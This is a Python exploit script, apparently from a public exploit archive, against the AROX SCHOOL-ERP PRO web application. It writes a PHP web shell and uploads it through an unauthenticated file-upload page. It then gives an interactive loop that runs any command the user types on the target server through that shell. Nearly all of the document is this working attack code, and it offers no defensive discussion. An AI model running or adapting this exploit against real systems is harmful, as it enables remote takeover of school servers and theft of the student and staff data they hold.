arox.py

# Exploit Title   : AROX SCHOOL-ERP PRO
# Date            : 26 June 2019
# Exploit Author  : Doctor_Hacker
# Version         : N/A 
# Tested on       : Windows
import requests

#Define IP and port.
IP='127.0.0.1'
port=80

#Buld URL String
url='http://'+IP+':'+str(port)+'/greatbritain/greatbritain/upload_fille.php'

#Get session headers
my_session = requests.Session() 

#Build shell file to upload.
text_file=open ("shell.php","w")
text_file.write ('<?PHP system($_GET["cmd"]); ?>'+'\n')
text_file.close()

#Upload the file. 
myfile = {'txtdocname': open('shell.php' ,'rb')}
tosend = requests.post(url, files = myfile, data={'btnsubmit':'Submit'})

try:
	#The string "Successfully Uploaded" should be in the response.
	if (tosend.text).index('Successfully Uploaded')>0: 
		print ("Shell successful!")

	#Create a shell.
	print ("Type: exit to break")
	while True:
		#Get the command 
		cmd = input('shell@'+IP+':~# ')
	
		#Send the command 
		url='http://'+IP+'/greatbritain/greatbritain/upload_data/shell.php?cmd='+cmd
	
		#Get response and display.
		response = requests.get(url)
		print(response.text)

		#exit to break. 
		if cmd.strip() == 'exit':
			break
except: 
	print ("The exploit failed for ome reason.")

# And sleep............